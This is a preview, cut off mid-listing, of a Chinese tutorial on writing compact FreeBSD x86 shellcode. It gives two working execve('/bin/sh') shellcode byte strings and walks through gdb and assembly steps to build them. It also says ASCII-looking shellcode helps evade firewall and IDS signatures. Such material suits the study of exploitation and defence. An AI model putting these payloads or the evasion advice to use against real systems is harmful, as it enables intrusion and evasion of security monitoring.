编写优美的SHELLCODE.docVIP

  • 1
  • 0
  • 约1.12万字
  • 约 15页
  • 2017-12-22 发布于河南
  • 举报
编写优美的SHELLCODE

编写优美的SHELLCODE 编写优美的SHELLCODE SHELLCODE的活力在于其功能,如果在能够完成功能的前提下又能比较优美,那么就 更能体现shellcode的魅力. 个人认为shellcode的优美能在两个地方表现: 1 shellcode本身应该尽量的短小. 2 shellcode的书写也应该尽量的短小,并且尽量使用能书写为ascii码的机器码. 举例来讲如下两个都是FreeBSD下的shellcode,都是新开一个shell char shellcode_1[38]= \xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e \x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh; char shellcode_2[24]= 1\xc0Ph//shh/binT[PPSS4;\xcd\x80; 很显然shellcode_2比shellcode_1要短小精干.首先大小上shellcode_1的机器码为37 字节,shellcode_2 的机器码为23字节;其次从书写上shellcode_1为127字节,shellcode_2为32字节. 从中我们可以看到美化我们的shellcode主要也是从两个方面着手.首先尽量使自己的 代码变小,其次尽量使用 能书写为ascii码的机器码/汇编码. 当然尽量使用ascii码的好处不紧紧是使shellcode看起来美观,更重要的是现在越来 越多的防火强和IDS都开始将 网上流行的shellcode作为识别关键字,这就是说越是接近字符串的shellcode越能躲过 他们的检测. 以下我们通过简化FreeBSD上的具体shellcode来讲述美化shellcode. 首先让我们来开始编写一个简单的shellcode程序. 写如下程序test.c /* test.c for test shellcode */ #includestdio.h void main() {   char *arg[2];   arg[0] = /bin/sh;   arg[1] = NULL;   execve(arg[0], arg, NULL); } 编译: gcc test.c -static -o test 用gdb来看看其系统调用是如何传递参数的: gdb test (gdb) disass execve Dump of assembler code for function execve: 0x8048254 execve: lea 0x3b,%eax 0x804825a execve+6: int $0x80 可以看到其参数传递是通过堆栈进行的,这使得编写shellcode更是简单. 总结一下就是 int $0x80 前 al中放人0x3b 并且堆栈中依次放入 高地址: ^ [指向执行命令的指针 ] | [指向命令行参数的指针] | [指向环境变量的指针 ] | [execve函数返回地址 ] 低地址 就一切搞定! 写一个小程序 t.c main(){} gcc -S t.c 得到汇编框架程序t.s cat t.s .file t.c .version 01.01 gcc2_compiled.: .text .p2align 2,0x90 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp .L2: leave ret .Lfe1: .size main,.Lfe1-main .ident GCC: (GNU) c 2.95.3 [FreeBSD](release) 好了我们得到了一个汇编程序框架了,在此基础上简化一下,编写一个汇编程序test.s 如下 .text .p2align 2,0x90 .globl main .type main,@function main: jmp next real: popl %esi ; esi指向/bin/sh

文档评论(0)

1亿VIP精品文档

相关文档